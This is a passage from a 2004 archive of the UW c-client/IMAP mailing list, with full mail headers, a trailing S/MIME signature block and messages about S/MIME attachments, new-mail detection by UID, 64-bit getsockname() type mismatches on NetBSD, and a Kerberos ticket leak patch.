hvcNAQEBBQADgY0AMIGJAoGBAJVMZF3R/W66eMT7NFJcqMs82bLWyoIqsIaqSeQUYWPfqC1A wiE8aRf1hh8/mdN7y9k/DfosNCIq9R7IxzDaKV5K8lyh7a//q5m/7kmV0TCaUZ+G02nqWek8 utVLCDk/Oh+EwHQ52WcHtk/NNiemN7txwtNe39i8J0E8UPF4o0nBAgMBAAGjggItMIICKTAO BgNVHQ8BAf8EBAMCBsAwHwYDVR0jBBgwFoAU7BNbvCGMZpsKi38HXyWwFPkQ9ZswHQYDVR0O BBYEFFiTscXupIka3ghe82WZHMAZ/Zt4MBYGA1UdIAQPMA0wCwYJYIZIAWUCAQsJMIGPBgNV HRIEgYcwgYSGgYFsZGFwOi8vZW1haWwtZHMtMy5jM3BraS5jaGFtYi5kaXNhLm1pbC9jbiUz ZERPRCUyMENMQVNTJTIwMyUyMEVNQUlMJTIwQ0EtMyUyY291JTNkUEtJJTJjb3UlM2REb0Ql MmNvJTNkVS5TLiUyMEdvdmVybm1lbnQlMmNjJTNkVVMwgbkGA1UdHwSBsTCBrjCBq6CBqKCB pYaBomxkYXA6Ly9lbWFpbC1kcy0zLmMzcGtpLmNoYW1iLmRpc2EubWlsL2NuJTNkRE9EJTIw Q0xBU1MlMjAzJTIwRU1BSUwlMjBDQS0zJTJjb3UlM2RQS0klMmNvdSUzZERvRCUyY28lM2RV LlMuJTIwR292ZXJubWVudCUyY2MlM2RVUz9jZXJ0aWZpY2F0ZXJldm9jYXRpb25saXN0O2Jp bmFyeTApBgNVHSUEIjAgBgorBgEEAYI3FAICBggrBgEFBQcDBAYIKwYBBQUHAwIwRgYDVR0R BD8wPYEbbm9hbS5iZXJuc3RlaW5AbnJsLm5hdnkubWlsoB4GCisGAQQBgjcUAgOgEAwOMTI0 MTk1ODI3OUBtaWwwDQYJKoZIhvcNAQEFBQADgYEAmT/KN6C50O7fOe787nJJGmbvPUIgaO0c oulUXL3WUVoEiawrEGqBMbpv9F9cwt45tMzAWtIpUw2zg4+s8JzKT3hQqodOqPug0C7SSgEJ EVxJmdU2uJIBhDCJUG7mVS/TgsidqRdnRZBymajHQH5o638IgfU7EVCRkYJkz4pQKLsxggLA MIICvAIBATBrMGQxCzAJBgNVBAYTAlVTMRgwFgYDVQQKEw9VLlMuIEdvdmVybm1lbnQxDDAK BgNVBAsTA0RvRDEMMAoGA1UECxMDUEtJMR8wHQYDVQQDExZET0QgQ0xBU1MgMyBFTUFJTCBD QS0zAgMTMxQwCQYFKw4DAhoFAKCCAaswGAYJKoZIhvcNAQkDMQsGCSqGSIb3DQEHATAcBgkq hkiG9w0BCQUxDxcNMDQwOTIxMTcxNzAzWjAjBgkqhkiG9w0BCQQxFgQU+GscbiibvJBxaRbN jp0b3JdByZkwUgYJKoZIhvcNAQkPMUUwQzAKBggqhkiG9w0DBzAOBggqhkiG9w0DAgICAIAw DQYIKoZIhvcNAwICAUAwBwYFKw4DAgcwDQYIKoZIhvcNAwICASgwegYJKwYBBAGCNxAEMW0w azBkMQswCQYDVQQGEwJVUzEYMBYGA1UEChMPVS5TLiBHb3Zlcm5tZW50MQwwCgYDVQQLEwNE b0QxDDAKBgNVBAsTA1BLSTEfMB0GA1UEAxMWRE9EIENMQVNTIDMgRU1BSUwgQ0EtMwIDEzMY MHwGCyqGSIb3DQEJEAILMW2gazBkMQswCQYDVQQGEwJVUzEYMBYGA1UEChMPVS5TLiBHb3Zl cm5tZW50MQwwCgYDVQQLEwNEb0QxDDAKBgNVBAsTA1BLSTEfMB0GA1UEAxMWRE9EIENMQVNT IDMgRU1BSUwgQ0EtMwIDEzMYMA0GCSqGSIb3DQEBAQUABIGAQCwIPpdGdnmj4DqJDwZ6pGOr iVyjphaBP4qHtn0IHqewXceIm5UtVUBDEZrjw3b/8Vo5EeVVW2fGuvnitW+hFJvD6eXs7izj 7B8wlDTRd38zPD3NCZ7LO2kDWRihVShg0CoLa+0MGuy31ErWqgdDcPOr7x4cAmSp2qYXNIJi ICoAAAAAAAA= --------------ms010302040903020401080500-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Sep 21 10:33:46 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 21 Sep 2004 10:33:46 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8LHXkWl004097 for ; Tue, 21 Sep 2004 10:33:46 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8LHXjjY017205 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 21 Sep 2004 10:33:46 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8LHWrd9013034; Tue, 21 Sep 2004 10:32:53 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8LHUT8X021496 for ; Tue, 21 Sep 2004 10:30:29 -0700 Received: from zion.christianserving.org (zion.christianserving.org [216.87.131.106]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8LHUSN6002636 for ; Tue, 21 Sep 2004 10:30:28 -0700 Received: by zion.christianserving.org (Postfix, from userid 79) id 16CA9C223F; Tue, 21 Sep 2004 12:30:27 -0500 (CDT) Received: from [158.95.218.118] (escutcheon.verizonis.com [151.138.254.21]) by zion.christianserving.org (Postfix) with ESMTP id 23419C222B; Tue, 21 Sep 2004 12:30:19 -0500 (CDT) Message-Id: Date: Tue, 21 Sep 2004 12:30:18 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jim Riggs To: Noam Bernstein Cc: c-client@u.washington.edu Subject: Re: imap server and S/MIME issues with attachments In-Reply-To: <4150620F.3040400@nrl.navy.mil> References: <4150620F.3040400@nrl.navy.mil> Mime-Version: 1.0 (Apple Message framework v619) Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 2.64-2004080502 (2004-01-11) on zion.christianserving.org X-Spam-Level: X-Spam-Status: No, hits=-104.9 required=6.3 tests=BAYES_00,USER_IN_WHITELIST autolearn=ham version=2.64-2004080502 X-Sanitizer: Anomy X-Virus-Scanned: ClamAV X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __MSGID_APPLEMAIL 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On 21 Sep, 2004, at 12:17, Noam Bernstein wrote: > Hi - I'm having problems reading S/MIME signed e-mail with > attachments when I get the mail through the UW imap daemon. > The server is a SuSE 9.0 machine running imap-2002d-55. > The client is a Mac OS 10.3 running Thunderbird 0.8. I have no problems with S/MIME in my setup: Server: darwin 6.6/imap-2002e Client: Mac OS X (10.3) Mail From pinedev@shivax2.cac.washington.edu Tue Sep 21 10:47:15 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 21 Sep 2004 10:47:15 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8LHlFig004624 for ; Tue, 21 Sep 2004 10:47:15 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8LHlEVQ032151 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 21 Sep 2004 10:47:15 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8LHkFXi013300; Tue, 21 Sep 2004 10:46:16 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8LHhuJo033380 for ; Tue, 21 Sep 2004 10:43:58 -0700 Received: from mxfep02.bredband.com (mxfep02.bredband.com [195.54.107.73]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8LHhsxb006129 for ; Tue, 21 Sep 2004 10:43:55 -0700 Received: from [192.168.1.167] ([213.115.49.47] [213.115.49.47]) by mxfep02.bredband.com with ESMTP id <20040921174353.XYBN26974.mxfep02.bredband.com@[192.168.1.167]> for ; Tue, 21 Sep 2004 19:43:53 +0200 Message-Id: <4150684B.4020706@i3micro.com> Date: Tue, 21 Sep 2004 19:43:39 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Niklas Fondberg To: c-client@u.washington.edu Subject: Re: imap server and S/MIME issues with attachments In-Reply-To: <4150620F.3040400@nrl.navy.mil> References: <4150620F.3040400@nrl.navy.mil> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I've written a small email (imap/pop3/smtp) client daemon on an embedded linux system. I want to be able to notify another daemon when new mail arrives and therefor I'm planning on having a seperate thread for this. Q1. Which is the most efficient way to see if there is new mail? My first idé would be to have a search for messages newer than last search because otherwise I would have to rely on flags set on the server (right) and I have to leave messages on pop3 servers. Q2. Does anybody have any ideas? Greatful for replies /Niklas Fondberg From pinedev@shivax2.cac.washington.edu Tue Sep 21 10:49:05 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 21 Sep 2004 10:49:05 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8LHn5PL004672 for ; Tue, 21 Sep 2004 10:49:05 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8LHn4Sx032248 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 21 Sep 2004 10:49:05 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8LHmKXt005334; Tue, 21 Sep 2004 10:48:20 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8LHkYRe114756 for ; Tue, 21 Sep 2004 10:46:34 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8LHkVrk005885 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 21 Sep 2004 10:46:32 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8LHkTV6022625; Tue, 21 Sep 2004 10:46:29 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8LHkSST004814 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 21 Sep 2004 10:46:29 -0700 Message-Id: Date: Tue, 21 Sep 2004 10:46:32 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Noam Bernstein Cc: c-client@u.washington.edu Subject: Re: imap server and S/MIME issues with attachments In-Reply-To: <4150620F.3040400@nrl.navy.mil> References: <4150620F.3040400@nrl.navy.mil> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 21 Sep 2004, Noam Bernstein wrote: > I suspect that the UW imap server must be modifying > the message in the process of disentangling the MIME parts. UW imapd does not modify the message in any way. However, if you use traditional UNIX format, the mail delivery system may modify the message by inserting ">" in front of any line that starts with "From". -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Sep 21 10:51:59 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 21 Sep 2004 10:51:59 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8LHpxT7004790 for ; Tue, 21 Sep 2004 10:51:59 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8LHpwaN017914 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 21 Sep 2004 10:51:59 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8LHp9ai014638; Tue, 21 Sep 2004 10:51:09 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8LHn8QK064462 for ; Tue, 21 Sep 2004 10:49:08 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8LHn7ua032494 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 21 Sep 2004 10:49:08 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8LHn7a4023208; Tue, 21 Sep 2004 10:49:07 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8LHn7Ws004225 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 21 Sep 2004 10:49:07 -0700 Message-Id: Date: Tue, 21 Sep 2004 10:49:10 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Niklas Fondberg Cc: c-client@u.washington.edu Subject: Re: imap server and S/MIME issues with attachments In-Reply-To: <4150684B.4020706@i3micro.com> References: <4150620F.3040400@nrl.navy.mil> <4150684B.4020706@i3micro.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 21 Sep 2004, Niklas Fondberg wrote: > Q1. Which is the most efficient way to see if there is new mail? > My first idea would be to have a search for messages newer than last search > because otherwise I would have to rely on flags set on the server (right) and > I have to leave messages on pop3 servers. If you have an IMAP session open when the new mail is delivered, then you will see the new messages in the session without having to do a SEARCH. Otherwise, recall the UID of the last message in the mailbox, then you can use :* to reference messages since that time. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Sep 22 00:15:39 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 22 Sep 2004 00:15:38 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8M7Fcb3030492 for ; Wed, 22 Sep 2004 00:15:38 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8M7FbJu001959 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 22 Sep 2004 00:15:38 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8M7Ej5B016314; Wed, 22 Sep 2004 00:14:45 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8M7BoQ6041322 for ; Wed, 22 Sep 2004 00:11:50 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8M7Bn3v008181 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Wed, 22 Sep 2004 00:11:49 -0700 Received: from harmony.distal.com (pcp04370856pcs.nrockv01.md.comcast.net [69.140.219.113]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8M7Bmts009656 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 22 Sep 2004 00:11:49 -0700 Received: from [206.138.151.12] (pcp04370856pcs.nrockv01.md.comcast.net [69.140.219.113]) by harmony.distal.com (8.12.11/8.12.11) with ESMTP id i8M79uCW013945 for ; Wed, 22 Sep 2004 03:09:57 -0400 (EDT) Message-Id: Date: Wed, 22 Sep 2004 03:12:48 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Chris Ross To: c-client Interest List Subject: 64-bit problems with c-client imap2004a Mime-Version: 1.0 (Apple Message framework v619) Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __MSGID_APPLEMAIL 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi. I'm having some problems getting imap2004a working on a NetBSD Sparc64 host. There are quite a few: env_unix.c:1633: warning: cast to pointer from integer of different size env_unix.c:1636: warning: cast from pointer to integer of different size ..type of warnings. The ones listed there I doubt are terribly important, but some of them may very well indicate problems. Particularly, tho, I've found a problem that doesn't produce an error. In tcp_unix.c, getsockname() is called, and the third argument given to is is a size_t*. However, on NetBSD, it calls for a socklen_t*, which is a pointer to a 32-bit value, and size_t is a long, and therefore 64 bits. Changing this to a socklen_t (in a few places in tcp_unix.c and ip4_unix.c) fixes the problem, and causes the returned struct to actually contain values, as getsockbyname() won't now understand it's third arg to be a zero... Is there any other work done on making this safe for a 64-bit machine? - Chris -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Sep 22 00:46:36 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 22 Sep 2004 00:46:36 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8M7kaTb031258 for ; Wed, 22 Sep 2004 00:46:36 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8M7kZoc010640 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 22 Sep 2004 00:46:35 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8M7jbLG013512; Wed, 22 Sep 2004 00:45:38 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8M7gbD9111394 for ; Wed, 22 Sep 2004 00:42:37 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxi1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8M7gaZ0017349 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Wed, 22 Sep 2004 00:42:36 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8M7gan5010561 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 22 Sep 2004 00:42:36 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8M7gZbO029212; Wed, 22 Sep 2004 00:42:35 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8M7gZOS027890; Wed, 22 Sep 2004 00:42:35 -0700 Message-Id: Date: Wed, 22 Sep 2004 00:42:35 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Chris Ross Cc: c-client Interest List Subject: Re: 64-bit problems with c-client imap2004a In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 22 Sep 2004, Chris Ross wrote: > env_unix.c:1633: warning: cast to pointer from integer of different size > env_unix.c:1636: warning: cast from pointer to integer of different size > ..type of warnings. The ones listed there I doubt are terribly important, > but some of them may very well indicate problems. You can disregard these warnings entirely. A few pedantic C compilers get upset at the use of void* as a bucket to hold an arbitrary cell, even though this is often the only way to do something *and* the programmer indicated his intent with an explict cast (which supposedly tells the compiler "I know what I'm doing, damnit!"). > Particularly, tho, I've found a problem that doesn't produce an error. > In tcp_unix.c, getsockname() is called, and the third argument given > to is is a size_t*. However, on NetBSD, it calls for a socklen_t*, which > is a pointer to a 32-bit value, and size_t is a long, and therefore 64 bits. Sigh. On some systems, it's an int* (and socklen_t is undefined). On some, it's a socklen_t*. And on some, it's a size_t* (and socklen_t is undefined). At UW, we have examples of all three; and there's no good way for the code to know what it is on the system being built. That's why c-client casts it to a void*. And on some systems, an int is 16 bits, and if getsockname() expects a pointer to a 32-bit cell it won't do the right thing either. There's simply no way to win on every possible platform. I suggest that the best thing to do is have the NETBSD osdep files redefine getsockname() as a jacket function into the real one. Take a look at the SCO osdep files for an example (e.g. how rename() gets redefined). Of course, that assumes that all NETBSD is 64 bit or at least follows the socklen_t* convention; if not then a new port has to be spawned off. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Sep 22 07:58:44 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 22 Sep 2004 07:58:44 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8MEwhYL014458 for ; Wed, 22 Sep 2004 07:58:44 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8MEwhmA023580 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 22 Sep 2004 07:58:43 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8MEvmxq012556; Wed, 22 Sep 2004 07:57:48 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8MEt5RS043092 for ; Wed, 22 Sep 2004 07:55:06 -0700 Received: from doom.robarts.ca (doom.robarts.ca [198.20.36.26]) by mxe2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8MEt4ig001989 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 22 Sep 2004 07:55:05 -0700 Received: from exchange.robarts.ca (exchange.robarts.ca [198.20.36.19]) by doom.robarts.ca (8.12.11/8.12.11) with ESMTP id i8MEsoGW030216; Wed, 22 Sep 2004 10:54:50 -0400 Message-Id: <78F7137E00C47E4FB51E5E590E975C8615A967@exchange.robarts.ca> Date: Wed, 22 Sep 2004 10:54:50 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jason Sauve" To: "David Lee" Cc: Subject: RE: Possible IMAP Bug Causes IMAP with PAM_KRB5 to rapidly deplete INODEs and DISK space Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 X-MS-Has-Attach: X-MS-TNEF-Correlator: X-yoursite-MailScanner-Information: Please contact the ISP for more information X-yoursite-MailScanner: Found to be clean X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __IMS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'd be curious to find out what conditions cause this as well. I have not had a single orphaned /tmp/krb5 ticket leftover since I've patched 2004a with the 2004b.DEV code. I can't imagine why one would want to kill the process using any kind of signals on a regular basis, but like you said that this was just yet another way to create orphaned kerberos tickets under /tmp. We're using Redhat Enterprise 3, which ships with 2002d (real old). So I installed the 2002d SRPM redhat provides, and rebuilt the binary RPM using 2004a with all the appropriate patches along the way. If you're using RH I'd be happy to provide you with my binary RPM to try out. I've yet to rebuild the SRPM because of all the manual patching I had to do. -----Original Message----- From: David Lee [mailto:t.d.lee@durham.ac.uk]=20 Sent: Wednesday, September 22, 2004 5:05 AM To: Mark Crispin Cc: c-client@u.washington.edu; Jason Sauve Subject: RE: Possible IMAP Bug Causes IMAP with PAM_KRB5 to rapidly deplete INODEs and DISK space On Tue, 14 Sep 2004, Jason Sauve wrote: > Your src/osdep/unix/env_unix.c patch in yesterday's DEV build=20 > absolutely fixed the problem with the logout hook not being called. > [...] > -----Original Message----- > From: mrc@ndcms.cac.washington.edu=20 > [mailto:mrc@ndcms.cac.washington.edu] > On Behalf Of Mark Crispin > Sent: Monday, September 13, 2004 5:34 PM > To: Jason Sauve > Cc: c-client@u.washington.edu > Subject: RE: Possible IMAP Bug Causes IMAP with PAM_KRB5 to rapidly=20 > deplete INODEs and DISK space > > Thank you for your investigation work; and in particular for your=20 > information that the logout hook was not being called. > > I believe that this problem is remedied in today's > ftp://ftp.cac.washington.edu/mail/imap-2004b.DEV.tar.Z I think I can further confirm that this fix is largely (order 90%) 